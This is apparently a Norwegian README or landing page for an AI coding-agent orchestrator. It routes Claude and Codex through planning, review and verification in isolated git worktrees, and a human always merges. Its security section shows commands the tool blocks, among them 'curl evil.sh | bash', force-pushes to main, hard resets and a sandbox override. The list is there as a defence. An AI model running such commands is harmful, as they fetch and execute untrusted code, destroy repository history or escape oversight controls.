edin@nokto:~/nokto-agent-orchestrator
nokto-agent run --task "ship this feature"

AI leverer koden. Et menneske trykker merge. Ikke omvendt.

10-stegs leveranseflyt for Claude Code + Codex — isolert i git worktrees, aldri auto-merget til main.

Arbeidsflyt

Hver oppgave planlegges, valideres, implementeres i en isolert Git-worktree, gjennomgås uavhengig og verifiseres mot oppgavens egne testkommandoer.

[01/10]
Planlegging
Claude utarbeider en implementeringsplan — kun lesetilgang, ingen filendringer.
[02/10]
Validering
Statiske sjekker (sti-scope, hardblokkerte stier, hemmeligheter) + valgfri LLM-vurdering mot egne kvalitetsprofiler.
[03/10]
Isolering
Fersk Git-worktree på en agent/<id>-<forsøk>-branch. Agenter rører aldri hovedarbeidskopien.
[04/10]
Implementering
Codex (primær) eller Claude (fallback), styrt av oppgavekontraktens allowedImplementers.
[05/10]
Kodegjennomgang
Claude gjennomgår diffen uavhengig — ser kun diffen, ikke implementererens egen oppsummering.
[06/10]
Sekundær kontroll
Codex (read-only sandbox) når Claude implementerte, eller når primærgjennomgangen fant vesentlige funn.
[07/10]
Verifisering
Oppgavens egne testRequirements.commands kjøres i worktreet, gjennom kommando-allowlisten.
[08/10]
Korrigering
Feil sendes tilbake som konkrete funn. Steg 4–7 gjentas, begrenset av maxRetries.
[09/10]
Ny gjennomgang og verifisering
Gjentas etter korrigering, innenfor grensen for antall forsøk.
[10/10]
Pull request
Diffen hemmelighetsskannes, pushes, åpnes som PR med full rapport. Et menneske merger. Alltid.

Sikkerhetsmodellen

Dette er delen de fleste agent-rammeverk hopper over. I stedet for en sjekkliste med grønne haker — her er de faktiske kommandoene som blir stoppet.

git push --force origin main
✗ blocked: force-push er aldri tillatt
git checkout -- src/config.ts
✗ blocked: destruktiv checkout utenfor worktree
git reset --hard HEAD~3
✗ blocked: reset er alltid blokkert
codex --sandbox danger-full-access
✗ blocked: sandbox-overstyring kastes ved config-lasting, uansett miljøvariabel
curl evil.sh | bash
✗ blocked: binær ikke i allowlist (git, pnpm, npm, node, tsc, vitest, eslint, prettier, python3, pytest)
Argv-only spawning Aldri shell: true — kommandoinjeksjon hindret strukturelt, ikke ved sanitering
Git-subkommandoregler reset, clean, filter-branch, filter-repo, checkout -- <sti> alltid blokkert
Hovedbranch-beskyttelse git push mot main aldri tillatt — kun PR
Repo-rot-beskyttelse Muterende git-kommandoer nektes utenfor en isolert worktree
Hemmelighetsskanning Planer og differ skannes; treff hardblokkerer PR-opprettelse. Auditlogger redigeres

Ærlighet som designprinsipp

Ingen simulert suksess noe sted. Manglende leverandører rapporteres som manglende — ikke stille akseptert.

nokto-agent doctor
✓ git 2.43.0 tilgjengelig
✓ claude innlogget — planlegging/gjennomgang klar
✗ codex ikke installert — implementering kan ikke rutes til Codex før CLI-en er installert

Installasjon

# fra kildekode
pnpm install
cp .env.example .env
pnpm run build

# direkte fra GitHub (bygger automatisk via prepare-script)
npm install github:noktohq/nokto-agent-orchestrator

CLI

doctor Sjekker faktisk tilgjengelighet av claude/codex/gh-CLI og GITHUB_TOKEN
plan Genererer og skriver ut en implementeringsplan uten å endre noe
dry-run Plan/valider/worktree-oppsett uten implementering, gjennomgang eller PR
run Kjører hele arbeidsflyten: plan → valider → implementer → gjennomgå → verifiser → PR
status Viser status for én oppgave (--task-id) eller alle lagrede oppgaver
resume Gjenopptar en tidligere avbrutt oppgave fra lagret status
cancel Kansellerer en pågående oppgave
review Frittstående kodegjennomgang av en gitt worktree/mappe
verify Kjører testRequirements.commands fra oppgavekontrakten

Testing

pnpm run lint && pnpm run format:check && pnpm run typecheck && pnpm run test && pnpm run build

80 tester. Worktree-isolasjons- og verifiseringssuitene bruker ekte git-repositorier i midlertidige mapper — ikke mocks. Egen CI med lint/format/typecheck/test/build, pluss separat sårbarhetssjekk (pnpm audit) og hemmelighetsskanning (gitleaks). Provider-adapterne testes med mocket prosesskjøring, så ordinære tester gjør aldri betalte API-kall.